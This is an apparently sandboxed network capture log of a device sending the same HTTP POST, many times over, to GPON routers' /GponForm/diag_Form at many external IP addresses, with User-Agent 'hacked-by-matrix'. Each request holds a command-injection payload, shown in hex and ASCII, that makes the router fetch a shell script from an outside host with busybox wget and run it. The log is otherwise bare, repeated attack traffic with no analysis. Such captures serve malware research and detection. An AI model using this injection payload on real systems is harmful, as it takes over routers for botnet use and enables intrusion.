Mar 21, 2024 05:22:02.476911068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.13	50906	109.41.17.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476970911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.13	60792	118.141.55.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476973057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.13	60272	212.117.246.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.476986885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.13	42886	212.47.11.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.477004051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.13	49090	5.33.122.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.477052927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.13	39060	212.117.3.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.477073908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.13	37984	5.12.67.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.477108002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.13	50202	118.45.39.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:02.477122068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.13	60674	109.98.159.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484556913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.13	53640	118.55.254.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484570980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.13	47872	5.70.137.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484587908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.13	36060	42.101.84.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484597921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.13	45334	5.203.252.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484620094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.13	50206	212.170.67.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484625101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.13	49632	5.77.111.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484636068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.13	55666	212.9.8.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484643936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.13	35372	42.52.3.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484652042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.13	41604	109.200.3.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484694958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.13	54800	42.241.43.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484709024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.13	42886	118.203.205.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484718084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.13	41568	118.181.206.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484730005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.13	60716	109.171.3.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484750032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.13	33390	109.177.150.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484750032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.13	43686	109.211.251.243	443

Timestamp	Bytes transferred	Direction	Data
